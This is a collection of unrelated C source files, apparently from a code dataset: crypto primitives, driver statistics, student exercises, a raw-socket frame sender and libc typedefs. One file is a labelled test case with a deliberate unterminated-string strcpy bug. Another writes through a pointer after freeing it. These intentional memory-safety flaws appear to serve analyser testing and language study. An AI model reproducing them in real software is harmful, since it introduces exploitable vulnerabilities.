must be lagging by * one block, since it operates on the encrypted values, so * it must wait for that encryption to complete. */ unsigned char *buf; unsigned char *ivbuf; uint32_t iv0, iv1, iv2, iv3; uint32_t cm0, cm1, cm2, cm3; uint64_t sk_exp[120]; uint64_t q[8]; int first_iter; br_aes_ct64_skey_expand(sk_exp, ctx->num_rounds, ctx->skey); /* * We keep the counter as four 32-bit values, with big-endian * convention, because that's what is expected for purposes of * incrementing the counter value. */ ivbuf = ctr; iv0 = br_dec32be(ivbuf + 0); iv1 = br_dec32be(ivbuf + 4); iv2 = br_dec32be(ivbuf + 8); iv3 = br_dec32be(ivbuf + 12); /* * The current CBC-MAC value is kept in little-endian convention. */ cm0 = br_dec32le((unsigned char *)cbcmac + 0); cm1 = br_dec32le((unsigned char *)cbcmac + 4); cm2 = br_dec32le((unsigned char *)cbcmac + 8); cm3 = br_dec32le((unsigned char *)cbcmac + 12); buf = data; first_iter = 1; memset(q, 0, sizeof q); while (len > 0) { uint32_t w[8], carry; /* * The bitslice implementation expects values in * little-endian convention, so we have to byteswap them. */ w[0] = br_swap32(iv0); w[1] = br_swap32(iv1); w[2] = br_swap32(iv2); w[3] = br_swap32(iv3); iv3 ++; carry = ~(iv3 | -iv3) >> 31; iv2 += carry; carry &= -(~(iv2 | -iv2) >> 31); iv1 += carry; carry &= -(~(iv1 | -iv1) >> 31); iv0 += carry; /* * The block for CBC-MAC. */ w[4] = cm0; w[5] = cm1; w[6] = cm2; w[7] = cm3; br_aes_ct64_interleave_in(&q[0], &q[4], w); br_aes_ct64_interleave_in(&q[1], &q[5], w + 4); br_aes_ct64_ortho(q); br_aes_ct64_bitslice_encrypt(ctx->num_rounds, sk_exp, q); br_aes_ct64_ortho(q); br_aes_ct64_interleave_out(w, q[0], q[4]); br_aes_ct64_interleave_out(w + 4, q[1], q[5]); /* * We do the XOR with the plaintext in 32-bit registers, * so that the value are available for CBC-MAC processing * as well. */ w[0] ^= br_dec32le(buf + 0); w[1] ^= br_dec32le(buf + 4); w[2] ^= br_dec32le(buf + 8); w[3] ^= br_dec32le(buf + 12); br_enc32le(buf + 0, w[0]); br_enc32le(buf + 4, w[1]); br_enc32le(buf + 8, w[2]); br_enc32le(buf + 12, w[3]); buf += 16; len -= 16; /* * We set the cm* values to the block to encrypt in the * next iteration. */ if (first_iter) { first_iter = 0; cm0 ^= w[0]; cm1 ^= w[1]; cm2 ^= w[2]; cm3 ^= w[3]; } else { cm0 = w[0] ^ w[4]; cm1 = w[1] ^ w[5]; cm2 = w[2] ^ w[6]; cm3 = w[3] ^ w[7]; } /* * If this was the last iteration, then compute the * extra block encryption to complete CBC-MAC. */ if (len == 0) { w[0] = cm0; w[1] = cm1; w[2] = cm2; w[3] = cm3; br_aes_ct64_interleave_in(&q[0], &q[4], w); br_aes_ct64_ortho(q); br_aes_ct64_bitslice_encrypt( ctx->num_rounds, sk_exp, q); br_aes_ct64_ortho(q); br_aes_ct64_interleave_out(w, q[0], q[4]); cm0 = w[0]; cm1 = w[1]; cm2 = w[2]; cm3 = w[3]; break; } } br_enc32be(ivbuf + 0, iv0); br_enc32be(ivbuf + 4, iv1); br_enc32be(ivbuf + 8, iv2); br_enc32be(ivbuf + 12, iv3); br_enc32le((unsigned char *)cbcmac + 0, cm0); br_enc32le((unsigned char *)cbcmac + 4, cm1); br_enc32le((unsigned char *)cbcmac + 8, cm2); br_enc32le((unsigned char *)cbcmac + 12, cm3); }
the_stack_data/29824664.c
unsigned char ground_data[290] = { 0x10,0x10,0x00,0x10,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x00,0x10,0x1d,0x1d,0x1d,0x1d,0x1d,0x1d,0x1d,0x1d,0x1d,0x1d, 0x1d,0x1d,0x1d,0x1d,0x1d,0x1d,0x00,0x10,0x26,0x26,0x26,0x26,0x26,0x26,0x26,0x26,0x26,0x26,0x26,0x26,0x26,0x26,0x26,0x26,0x00,0x10,0x0d,0x0d,0x0d,0x0d,0x0d,0x0d, 0x0d,0x0d,0x0d,0x0d,0x0d,0x0d,0x0d,0x0d,0x0d,0x0d,0x00,0x10,0x09,0x09,0x09,0x09,0x09,0x09,0x09,0x09,0x09,0x09,0x09,0x09,0x09,0x09,0x09,0x09,0x00,0x10,0x02,0x02, 0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x02,0x00,0x10,0x26,0x26,0x0d,0x0d,0x0d,0x26,0x26,0x26,0x26,0x26,0x0d,0x0d,0x0d,0x26,0x26,0x26, 0x00,0x10,0x26,0x26,0x26,0x0d,0x0d,0x0d,0x26,0x26,0x26,0x26,0x26,0x0d,0x0d,0x0d,0x26,0x26,0x00,0x10,0x0d,0x0d,0x0d,0x0d,0x09,0x09,0x09,0x0d,0x0d,0x0d,0x0d,0x0d, 0x09,0x09,0x09,0x0d,0x00,0x10,0x09,0x0d,0x0d,0x0d,0x0d,0x09,0x09,0x09,0x09,0x0d,0x0d,0x0d,0x0d,0x09,0x09,0x09,0x00,0x10,0x09,0x09,0x0d,0x0d,0x0d,0x0d,0x0d,0x09, 0x09,0x09,0x09,0x0d,0x0d,0x0d,0x0d,0x09,0x00,0x10,0x0d,0x09,0x09,0x0d,0x0d,0x0d,0x0d,0x0d,0x0d,0x09,0x09,0x09,0x09,0x0d,0x0d,0x0d,0x00,0x10,0x0d,0x0d,0x09,0x09, 0x09,0x0d,0x0d,0x0d,0x0d,0x0d,0x0d,0x09,0x09,0x09,0x0d,0x0d,0x00,0x10,0x0d,0x0d,0x0d,0x0d,0x09,0x09,0x09,0x0d,0x0d,0x0d,0x0d,0x0d,0x0d,0x09,0x09,0x0d,0x00,0x10, 0x0d,0x0d,0x0d,0x0d,0x0d,0x0d,0x09,0x09,0x0d,0x0d,0x0d,0x0d,0x0d,0x0d,0x09,0x09,0x00,0x10,0x09,0x09,0x0d,0x0d,0x0d,0x0d,0x0d,0x09,0x09,0x09,0x0d,0x0d,0x0d,0x0d, 0x0d,0x09 };
the_stack_data/70450491.c
int main = 0;
the_stack_data/194587.c
//Classification: #intrinsic/n/IVO/STR/aA/strcpy/fpb/rp //Written by: Igor Eremeev //Reviewed by: Sergey Pomelov //Comment: using not terminated string #include <stdlib.h> #include <stdio.h> #include <string.h> int func(char *str1) { int i; for (i=0; i<=10; i++) { str1[i]='a'+i; } return 0; } int main(void) { char str1[50], str2[50]; func(str1); strcpy(str2, str1); printf("%s", str2); return 0; }
the_stack_data/33874.c
// -------------------------------------------------------------------------------- // AUTHOR: Brandon Maciel // FILENAME: Lab1.c // SPECIFICATION: Mileage reimburssement calculator // FOR: CS 1412 Programming Principles II Section 002 #include <stdio.h> #include <math.h> int main(void) { double car_price; double down_payment; double annual_interest_rate; int num_of_payments; double payment; printf("\nMontlhy payment calculator\n"); printf("Enter the car's purchase price: "); scanf("%lf", &car_price); printf("Enter the down payment on the car: "); scanf("%lf", &down_payment); printf("Enter the annual interest rate: "); scanf("%lf", &annual_interest_rate); printf("Enter the total number of payments: "); scanf("%d", &num_of_payments); /* Calculate the monthly interest rate to by dividing the annual interst rate by 12 and divide by 100 to remove percent */ double monthly_interest = ( annual_interest_rate / 12.0 )*(1.0/100.0); /* Calculate the monthly payment using the provided formula and inputed user variables */ payment = ( monthly_interest * ( car_price-down_payment ) ) / ( 1 - pow( (1+monthly_interest), -num_of_payments ) ); /* Displays the amount borrowed(purchase price minus down payment), and the cost of each monthly payment */ printf("The amount borrowed is $%.2lf, and the montlhy payment is $%.2lf.\n\n", (car_price-down_payment), payment); return(0); }
the_stack_data/75136875.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_10__ TYPE_5__ ; typedef struct TYPE_9__ TYPE_4__ ; typedef struct TYPE_8__ TYPE_3__ ; typedef struct TYPE_7__ TYPE_2__ ; typedef struct TYPE_6__ TYPE_1__ ; /* Type definitions */ typedef scalar_t__ u64 ; struct TYPE_7__ {scalar_t__ type; } ; struct TYPE_9__ {scalar_t__ media_type; } ; struct TYPE_10__ {TYPE_2__ mac; TYPE_4__ phy; } ; struct TYPE_8__ {scalar_t__ xoffrxc; scalar_t__ symerrs; scalar_t__ sec; scalar_t__ crcerrs; scalar_t__ mpc; scalar_t__ scc; scalar_t__ ecol; scalar_t__ mcc; scalar_t__ latecol; scalar_t__ colc; scalar_t__ dc; scalar_t__ rlec; scalar_t__ xonrxc; scalar_t__ xontxc; scalar_t__ xofftxc; scalar_t__ fcruc; scalar_t__ prc64; scalar_t__ prc127; scalar_t__ prc255; scalar_t__ prc511; scalar_t__ prc1023; scalar_t__ prc1522; scalar_t__ gprc; scalar_t__ bprc; scalar_t__ mprc; scalar_t__ gptc; scalar_t__ gorc; scalar_t__ gotc; scalar_t__ rnbc; scalar_t__ ruc; scalar_t__ rfc; scalar_t__ roc; scalar_t__ rjc; scalar_t__ tor; scalar_t__ tot; scalar_t__ tpr; scalar_t__ tpt; scalar_t__ ptc64; scalar_t__ ptc127; scalar_t__ ptc255; scalar_t__ ptc511; scalar_t__ ptc1023; scalar_t__ ptc1522; scalar_t__ mptc; scalar_t__ bptc; scalar_t__ iac; scalar_t__ icrxptc; scalar_t__ icrxatc; scalar_t__ ictxptc; scalar_t__ ictxatc; scalar_t__ ictxqec; scalar_t__ ictxqmtc; scalar_t__ icrxdmtc; scalar_t__ icrxoc; scalar_t__ algnerrc; scalar_t__ rxerrc; scalar_t__ tncrs; scalar_t__ cexterr; scalar_t__ tsctc; scalar_t__ tsctfc; } ; struct adapter {TYPE_5__ hw; TYPE_3__ stats; TYPE_1__* shared; } ; struct TYPE_6__ {int isc_pause_frames; } ; /* Variables and functions */ int /*<<< orphan*/ E1000_ALGNERRC ; int /*<<< orphan*/ E1000_BPRC ; int /*<<< orphan*/ E1000_BPTC ; int /*<<< orphan*/ E1000_CEXTERR ; int /*<<< orphan*/ E1000_COLC ; int /*<<< orphan*/ E1000_CRCERRS ; int /*<<< orphan*/ E1000_DC ; int /*<<< orphan*/ E1000_ECOL ; int /*<<< orphan*/ E1000_FCRUC ; int /*<<< orphan*/ E1000_GORCH ; int /*<<< orphan*/ E1000_GORCL ; int /*<<< orphan*/ E1000_GOTCH ; int /*<<< orphan*/ E1000_GOTCL ; int /*<<< orphan*/ E1000_GPRC ; int /*<<< orphan*/ E1000_GPTC ; int /*<<< orphan*/ E1000_IAC ; int /*<<< orphan*/ E1000_ICRXATC ; int /*<<< orphan*/ E1000_ICRXDMTC ; int /*<<< orphan*/ E1000_ICRXOC ; int /*<<< orphan*/ E1000_ICRXPTC ; int /*<<< orphan*/ E1000_ICTXATC ; int /*<<< orphan*/ E1000_ICTXPTC ; int /*<<< orphan*/ E1000_ICTXQEC ; int /*<<< orphan*/ E1000_ICTXQMTC ; int /*<<< orphan*/ E1000_LATECOL ; int /*<<< orphan*/ E1000_MCC ; int /*<<< orphan*/ E1000_MPC ; int /*<<< orphan*/ E1000_MPRC ; int /*<<< orphan*/ E1000_MPTC ; int /*<<< orphan*/ E1000_PRC1023 ; int /*<<< orphan*/ E1000_PRC127 ; int /*<<< orphan*/ E1000_PRC1522 ; int /*<<< orphan*/ E1000_PRC255 ; int /*<<< orphan*/ E1000_PRC511 ; int /*<<< orphan*/ E1000_PRC64 ; int /*<<< orphan*/ E1000_PTC1023 ; int /*<<< orphan*/ E1000_PTC127 ; int /*<<< orphan*/ E1000_PTC1522 ; int /*<<< orphan*/ E1000_PTC255 ; int /*<<< orphan*/ E1000_PTC511 ; int /*<<< orphan*/ E1000_PTC64 ; scalar_t__ E1000_READ_REG (TYPE_5__*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ E1000_RFC ; int /*<<< orphan*/ E1000_RJC ; int /*<<< orphan*/ E1000_RLEC ; int /*<<< orphan*/ E1000_RNBC ; int /*<<< orphan*/ E1000_ROC ; int /*<<< orphan*/ E1000_RUC ; int /*<<< orphan*/ E1000_RXERRC ; int /*<<< orphan*/ E1000_SCC ; int /*<<< orphan*/ E1000_SEC ; int /*<<< orphan*/ E1000_STATUS ; scalar_t__ E1000_STATUS_LU ; int /*<<< orphan*/ E1000_SYMERRS ; int /*<<< orphan*/ E1000_TNCRS ; int /*<<< orphan*/ E1000_TORH ; int /*<<< orphan*/ E1000_TOTH ; int /*<<< orphan*/ E1000_TPR ; int /*<<< orphan*/ E1000_TPT ; int /*<<< orphan*/ E1000_TSCTC ; int /*<<< orphan*/ E1000_TSCTFC ; int /*<<< orphan*/ E1000_XOFFRXC ; int /*<<< orphan*/ E1000_XOFFTXC ; int /*<<< orphan*/ E1000_XONRXC ; int /*<<< orphan*/ E1000_XONTXC ; scalar_t__ e1000_82543 ; scalar_t__ e1000_media_type_copper ; __attribute__((used)) static void em_update_stats_counters(struct adapter *adapter) { u64 prev_xoffrxc = adapter->stats.xoffrxc; if(adapter->hw.phy.media_type == e1000_media_type_copper || (E1000_READ_REG(&adapter->hw, E1000_STATUS) & E1000_STATUS_LU)) { adapter->stats.symerrs += E1000_READ_REG(&adapter->hw, E1000_SYMERRS); adapter->stats.sec += E1000_READ_REG(&adapter->hw, E1000_SEC); } adapter->stats.crcerrs += E1000_READ_REG(&adapter->hw, E1000_CRCERRS); adapter->stats.mpc += E1000_READ_REG(&adapter->hw, E1000_MPC); adapter->stats.scc += E1000_READ_REG(&adapter->hw, E1000_SCC); adapter->stats.ecol += E1000_READ_REG(&adapter->hw, E1000_ECOL); adapter->stats.mcc += E1000_READ_REG(&adapter->hw, E1000_MCC); adapter->stats.latecol += E1000_READ_REG(&adapter->hw, E1000_LATECOL); adapter->stats.colc += E1000_READ_REG(&adapter->hw, E1000_COLC); adapter->stats.dc += E1000_READ_REG(&adapter->hw, E1000_DC); adapter->stats.rlec += E1000_READ_REG(&adapter->hw, E1000_RLEC); adapter->stats.xonrxc += E1000_READ_REG(&adapter->hw, E1000_XONRXC); adapter->stats.xontxc += E1000_READ_REG(&adapter->hw, E1000_XONTXC); adapter->stats.xoffrxc += E1000_READ_REG(&adapter->hw, E1000_XOFFRXC); /* ** For watchdog management we need to know if we have been ** paused during the last interval, so capture that here. */ if (adapter->stats.xoffrxc != prev_xoffrxc) adapter->shared->isc_pause_frames = 1; adapter->stats.xofftxc += E1000_READ_REG(&adapter->hw, E1000_XOFFTXC); adapter->stats.fcruc += E1000_READ_REG(&adapter->hw, E1000_FCRUC); adapter->stats.prc64 += E1000_READ_REG(&adapter->hw, E1000_PRC64); adapter->stats.prc127 += E1000_READ_REG(&adapter->hw, E1000_PRC127); adapter->stats.prc255 += E1000_READ_REG(&adapter->hw, E1000_PRC255); adapter->stats.prc511 += E1000_READ_REG(&adapter->hw, E1000_PRC511); adapter->stats.prc1023 += E1000_READ_REG(&adapter->hw, E1000_PRC1023); adapter->stats.prc1522 += E1000_READ_REG(&adapter->hw, E1000_PRC1522); adapter->stats.gprc += E1000_READ_REG(&adapter->hw, E1000_GPRC); adapter->stats.bprc += E1000_READ_REG(&adapter->hw, E1000_BPRC); adapter->stats.mprc += E1000_READ_REG(&adapter->hw, E1000_MPRC); adapter->stats.gptc += E1000_READ_REG(&adapter->hw, E1000_GPTC); /* For the 64-bit byte counters the low dword must be read first. */ /* Both registers clear on the read of the high dword */ adapter->stats.gorc += E1000_READ_REG(&adapter->hw, E1000_GORCL) + ((u64)E1000_READ_REG(&adapter->hw, E1000_GORCH) << 32); adapter->stats.gotc += E1000_READ_REG(&adapter->hw, E1000_GOTCL) + ((u64)E1000_READ_REG(&adapter->hw, E1000_GOTCH) << 32); adapter->stats.rnbc += E1000_READ_REG(&adapter->hw, E1000_RNBC); adapter->stats.ruc += E1000_READ_REG(&adapter->hw, E1000_RUC); adapter->stats.rfc += E1000_READ_REG(&adapter->hw, E1000_RFC); adapter->stats.roc += E1000_READ_REG(&adapter->hw, E1000_ROC); adapter->stats.rjc += E1000_READ_REG(&adapter->hw, E1000_RJC); adapter->stats.tor += E1000_READ_REG(&adapter->hw, E1000_TORH); adapter->stats.tot += E1000_READ_REG(&adapter->hw, E1000_TOTH); adapter->stats.tpr += E1000_READ_REG(&adapter->hw, E1000_TPR); adapter->stats.tpt += E1000_READ_REG(&adapter->hw, E1000_TPT); adapter->stats.ptc64 += E1000_READ_REG(&adapter->hw, E1000_PTC64); adapter->stats.ptc127 += E1000_READ_REG(&adapter->hw, E1000_PTC127); adapter->stats.ptc255 += E1000_READ_REG(&adapter->hw, E1000_PTC255); adapter->stats.ptc511 += E1000_READ_REG(&adapter->hw, E1000_PTC511); adapter->stats.ptc1023 += E1000_READ_REG(&adapter->hw, E1000_PTC1023); adapter->stats.ptc1522 += E1000_READ_REG(&adapter->hw, E1000_PTC1522); adapter->stats.mptc += E1000_READ_REG(&adapter->hw, E1000_MPTC); adapter->stats.bptc += E1000_READ_REG(&adapter->hw, E1000_BPTC); /* Interrupt Counts */ adapter->stats.iac += E1000_READ_REG(&adapter->hw, E1000_IAC); adapter->stats.icrxptc += E1000_READ_REG(&adapter->hw, E1000_ICRXPTC); adapter->stats.icrxatc += E1000_READ_REG(&adapter->hw, E1000_ICRXATC); adapter->stats.ictxptc += E1000_READ_REG(&adapter->hw, E1000_ICTXPTC); adapter->stats.ictxatc += E1000_READ_REG(&adapter->hw, E1000_ICTXATC); adapter->stats.ictxqec += E1000_READ_REG(&adapter->hw, E1000_ICTXQEC); adapter->stats.ictxqmtc += E1000_READ_REG(&adapter->hw, E1000_ICTXQMTC); adapter->stats.icrxdmtc += E1000_READ_REG(&adapter->hw, E1000_ICRXDMTC); adapter->stats.icrxoc += E1000_READ_REG(&adapter->hw, E1000_ICRXOC); if (adapter->hw.mac.type >= e1000_82543) { adapter->stats.algnerrc += E1000_READ_REG(&adapter->hw, E1000_ALGNERRC); adapter->stats.rxerrc += E1000_READ_REG(&adapter->hw, E1000_RXERRC); adapter->stats.tncrs += E1000_READ_REG(&adapter->hw, E1000_TNCRS); adapter->stats.cexterr += E1000_READ_REG(&adapter->hw, E1000_CEXTERR); adapter->stats.tsctc += E1000_READ_REG(&adapter->hw, E1000_TSCTC); adapter->stats.tsctfc += E1000_READ_REG(&adapter->hw, E1000_TSCTFC); } }
the_stack_data/57950196.c
/*============================================================================= # FileName: r1_pa.c # Desc: # Author: zhangc # Email: [email protected] # HomePage: # Version: 0.0.1 # CreateOn: 2014-04-12 10:12:56 # LastChange: 2014-04-12 10:26:51 # History: =============================================================================*/ #include <stdio.h> int main() { int T,CASE; int magic_c[4][4]; int ans_c[4]; int ans1,ans2; int i,j; enum Ans{ none=0,only,many } ans; int ans_n; scanf("%d",&T); for(CASE=0;CASE<T;++CASE){ ans=none; ans_n=-1; scanf("%d",&ans1); for(i=0;i<4;++i)for(j=0;j<4;++j){ scanf("%d",&magic_c[i][j]); } for(i=0;i<4;++i) ans_c[i]=magic_c[ans1-1][i]; scanf("%d",&ans2); for(i=0;i<4;++i)for(j=0;j<4;++j){ scanf("%d",&magic_c[i][j]); } for(i=0;i<4;++i)for(j=0;j<4;++j){ if(ans_c[i]==magic_c[ans2-1][j]) ans++,ans_n=ans_c[i]; } printf("Case #%d: ",CASE+1); switch(ans){ case none:printf("Volunteer cheated!");break; case only:printf("%d",ans_n);break; default:printf("Bad magician!");break; } printf("\n"); } return 0; }
the_stack_data/95451316.c
#include<stdio.h> int main(){ float porcentagem, resultado; int const valor = 555; printf("Informe uma porcentagem: "); scanf("%f", &porcentagem); resultado = (555 * (porcentagem/100)); printf("%.2f%% de %i: %.2f%%.", porcentagem, valor, resultado); }
the_stack_data/32950565.c
/* ** EPITECH PROJECT, 2017 ** libmy ** File description: ** return the length of the string */ #include <stdlib.h> int my_strlen(char const *str) { int iterator = 0; if (str == NULL) return (0); while (str[iterator] != '\0') { iterator++; } return (iterator); }
the_stack_data/82949259.c
/* * test #define * Liao 12/1/2010 */ #include <stdio.h> #ifdef _OPENMP #include <omp.h> #endif #define P 4 void foo(int iend, int ist) { int i=0; i= i+P; #pragma omp parallel { #pragma omp single printf ("Using %d threads.\n",omp_get_num_threads()); #pragma omp for nowait schedule(static,P) for (i=iend;i>=ist;i--) { printf("Iteration %d is carried out by thread %d\n",i, omp_get_thread_num()); } } }
the_stack_data/193891969.c
#include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <string.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <netinet/if_ether.h> #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/ethernet.h> #define BUFFER_LEN 64 int main(int argc, char *argv[]){ if (argc != 2) { printf("Error: Must pass one net interface name. Example:\n" "\t$ raw_socket_tx eth0\n"); return -1; } /* send a packet through raw socket */ int sd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sd < 0) { fprintf(stderr, "Error openning raw socket! Make sure this is launched with root priviliges\n"); return -1; } /* Get index of interface to send packet over */ struct ifreq ifreq_i; memset(&ifreq_i, 0, sizeof(ifreq_i)); strncpy(ifreq_i.ifr_name, argv[1], IFNAMSIZ-1); if (ioctl(sd, SIOCGIFINDEX, &ifreq_i) < 0) { fprintf(stderr, "Error trying to find net device index\n"); return -1; } struct ifreq ifreq_c; memset(&ifreq_c, 0, sizeof(ifreq_c)); strncpy(ifreq_c.ifr_name, argv[1], IFNAMSIZ-1); if (ioctl(sd, SIOCGIFHWADDR, &ifreq_c) < 0) { fprintf(stderr, "Error trying to find net device MAC Address\n"); return -1; } /* TX buffer */ unsigned char *buffer = (unsigned char *) malloc(BUFFER_LEN); memset(buffer, 0, BUFFER_LEN); struct ethhdr *eth = (struct ethhdr *)(buffer); printf("Netdev index for %s: %d\n\tMAC Addr: ", argv[1], ifreq_i.ifr_ifindex); for(int i=0; i<6; i++) { printf("%.2X:", (unsigned char)ifreq_c.ifr_hwaddr.sa_data[i]); eth->h_source[i] = (unsigned char)(ifreq_c.ifr_hwaddr.sa_data[i]); eth->h_dest[i] = 0xFF; } printf("\n"); eth->h_proto = htons(ETH_P_IP); size_t pkt_len = sizeof(struct ethhdr); buffer[pkt_len++] = 0xAA; buffer[pkt_len++] = 0xBB; buffer[pkt_len++] = 0xCC; buffer[pkt_len++] = 0xDD; struct sockaddr_ll saddr_ll; saddr_ll.sll_ifindex = ifreq_i.ifr_ifindex; saddr_ll.sll_halen = ETH_ALEN; /* man pages says we _should_ specify destination MAC address member * .sll_addr[0-5] but so far it hasn't negatively affected sending * any data */ /* send network packet */ int send_len = sendto(sd, buffer, pkt_len, 0, (const struct sockaddr*)&saddr_ll, sizeof(struct sockaddr_ll)); if (send_len < 0) { fprintf(stderr, "Error sending packet!\n"); return -1; } close(sd); free(buffer); return 0; }
the_stack_data/1089132.c
#include <stdio.h> void main() { int arr[20] = {1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,7,23,23,56,76}; int count1=0, count2=0; for(int i=0; i<20; i++) { if(arr[i] % 2 == 0) count1++; else if(arr[i] % 2 != 0) count2++; } printf("Number of Even Elements: %d\n", count1); printf("Number of Odd Elements: %d\n", count2); }
the_stack_data/497301.c
/* Author : Arnob Mahmud mail : [email protected] */ #include <stdio.h> #include <math.h> int main(int argc, char const *argv[]) { int GSM[5], sum = 0, val; for (int i = 0; i < 5; i++) { printf("GSM[%d] : ", i); scanf("%d", &GSM[i]); } for (int i = 0; i < 5; i++) { sum += pow((GSM[i] - 100), 2); } val = sqrt(sum / 5); printf("%d\n",val); if (val < 1.5) { printf("The fabric is rejected"); } else { printf("The fabric is accepted"); } return 0; }
the_stack_data/139096.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_print_comb2.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: dpearson <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2017/06/29 14:29:56 by dpearson #+# #+# */ /* Updated: 2017/06/29 22:10:03 by dpearson ### ########.fr */ /* */ /* ************************************************************************** */ void ft_putchar(char c); void ft_print_comb2(void) { int ints[2]; while (!(ints[0] == 98 && ints[1] == 99)) { ints[1]++; if (ints[1] > 99) { ints[0]++; ints[1] = 0; } if (ints[0] < ints[1]) { ft_putchar(ints[0] / 10 + '0'); ft_putchar(ints[0] % 10 + '0'); ft_putchar(' '); ft_putchar(ints[1] / 10 + '0'); ft_putchar(ints[1] % 10 + '0'); if (!(ints[0] == 98 && ints[1] == 99)) { ft_putchar(','); ft_putchar(' '); } } } }
the_stack_data/16261.c
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <stdint.h> #include <inttypes.h> int main() { int *xp=(int*)malloc(sizeof(int)); *xp=1; uintptr_t i = (uintptr_t)xp; int *xp2 = (int*)i; free((void*)xp); int *yp=(int*)malloc(sizeof(int)); *yp=2; uintptr_t j = (uintptr_t)yp; printf("Addresses: &i=%"PRIxPTR" j=%"PRIxPTR"\n",i,j); if (i == j) { *xp2=3; printf("*yp=%d\n",*yp); } }
the_stack_data/902779.c
typedef signed char __int8_t; typedef unsigned char __uint8_t; typedef short int __int16_t; typedef short unsigned int __uint16_t; typedef long int __int32_t; typedef long unsigned int __uint32_t; typedef long long int __int64_t; typedef long long unsigned int __uint64_t; typedef signed char __int_least8_t; typedef unsigned char __uint_least8_t; typedef short int __int_least16_t; typedef short unsigned int __uint_least16_t; typedef long int __int_least32_t; typedef long unsigned int __uint_least32_t; typedef long long int __int_least64_t; typedef long long unsigned int __uint_least64_t; typedef int __intptr_t; typedef unsigned int __uintptr_t; typedef __int8_t int8_t ; typedef __uint8_t uint8_t ; typedef __int16_t int16_t ; typedef __uint16_t uint16_t ; typedef __int32_t int32_t ; typedef __uint32_t uint32_t ; typedef __int64_t int64_t ; typedef __uint64_t uint64_t ; typedef __intptr_t intptr_t; typedef __uintptr_t uintptr_t; typedef __int_least8_t int_least8_t; typedef __uint_least8_t uint_least8_t; typedef __int_least16_t int_least16_t; typedef __uint_least16_t uint_least16_t; typedef __int_least32_t int_least32_t; typedef __uint_least32_t uint_least32_t; typedef __int_least64_t int_least64_t; typedef __uint_least64_t uint_least64_t; typedef int int_fast8_t; typedef unsigned int uint_fast8_t; typedef int int_fast16_t; typedef unsigned int uint_fast16_t; typedef int int_fast32_t; typedef unsigned int uint_fast32_t; typedef long long int int_fast64_t; typedef long long unsigned int uint_fast64_t; typedef long long int intmax_t; typedef long long unsigned int uintmax_t; typedef int ptrdiff_t; typedef unsigned int size_t; typedef unsigned int wchar_t; typedef struct { long long __max_align_ll __attribute__((__aligned__(__alignof__(long long)))); long double __max_align_ld __attribute__((__aligned__(__alignof__(long double)))); } max_align_t; typedef int _LOCK_T; typedef int _LOCK_RECURSIVE_T; typedef long __blkcnt_t; typedef long __blksize_t; typedef __uint64_t __fsblkcnt_t; typedef __uint32_t __fsfilcnt_t; typedef long _off_t; typedef int __pid_t; typedef short __dev_t; typedef unsigned short __uid_t; typedef unsigned short __gid_t; typedef __uint32_t __id_t; typedef unsigned short __ino_t; typedef __uint32_t __mode_t; __extension__ typedef long long _off64_t; typedef _off_t __off_t; typedef _off64_t __loff_t; typedef long __key_t; typedef long _fpos_t; typedef unsigned int __size_t; typedef signed int _ssize_t; typedef _ssize_t __ssize_t; typedef unsigned int wint_t; typedef struct { int __count; union { wint_t __wch; unsigned char __wchb[4]; } __value; } _mbstate_t; typedef _LOCK_RECURSIVE_T _flock_t; typedef void *_iconv_t; typedef unsigned long __clock_t; typedef long __time_t; typedef unsigned long __clockid_t; typedef unsigned long __timer_t; typedef __uint8_t __sa_family_t; typedef __uint32_t __socklen_t; typedef unsigned short __nlink_t; typedef long __suseconds_t; typedef unsigned long __useconds_t; typedef __builtin_va_list __va_list; typedef unsigned long __ULong; struct _reent; struct __locale_t; struct _Bigint { struct _Bigint *_next; int _k, _maxwds, _sign, _wds; __ULong _x[1]; }; struct __tm { int __tm_sec; int __tm_min; int __tm_hour; int __tm_mday; int __tm_mon; int __tm_year; int __tm_wday; int __tm_yday; int __tm_isdst; }; struct _on_exit_args { void * _fnargs[32]; void * _dso_handle[32]; __ULong _fntypes; __ULong _is_cxa; }; struct _atexit { struct _atexit *_next; int _ind; void (*_fns[32])(void); struct _on_exit_args _on_exit_args; }; struct __sbuf { unsigned char *_base; int _size; }; struct __sFILE { unsigned char *_p; int _r; int _w; short _flags; short _file; struct __sbuf _bf; int _lbfsize; void * _cookie; int (* _read) (struct _reent *, void *, char *, int) ; int (* _write) (struct _reent *, void *, const char *, int) ; _fpos_t (* _seek) (struct _reent *, void *, _fpos_t, int); int (* _close) (struct _reent *, void *); struct __sbuf _ub; unsigned char *_up; int _ur; unsigned char _ubuf[3]; unsigned char _nbuf[1]; struct __sbuf _lb; int _blksize; _off_t _offset; struct _reent *_data; _flock_t _lock; _mbstate_t _mbstate; int _flags2; }; typedef struct __sFILE __FILE; struct _glue { struct _glue *_next; int _niobs; __FILE *_iobs; }; struct _rand48 { unsigned short _seed[3]; unsigned short _mult[3]; unsigned short _add; }; struct _reent { int _errno; __FILE *_stdin, *_stdout, *_stderr; int _inc; char _emergency[25]; int _unspecified_locale_info; struct __locale_t *_locale; int __sdidinit; void (* __cleanup) (struct _reent *); struct _Bigint *_result; int _result_k; struct _Bigint *_p5s; struct _Bigint **_freelist; int _cvtlen; char *_cvtbuf; union { struct { unsigned int _unused_rand; char * _strtok_last; char _asctime_buf[26]; struct __tm _localtime_buf; int _gamma_signgam; __extension__ unsigned long long _rand_next; struct _rand48 _r48; _mbstate_t _mblen_state; _mbstate_t _mbtowc_state; _mbstate_t _wctomb_state; char _l64a_buf[8]; char _signal_buf[24]; int _getdate_err; 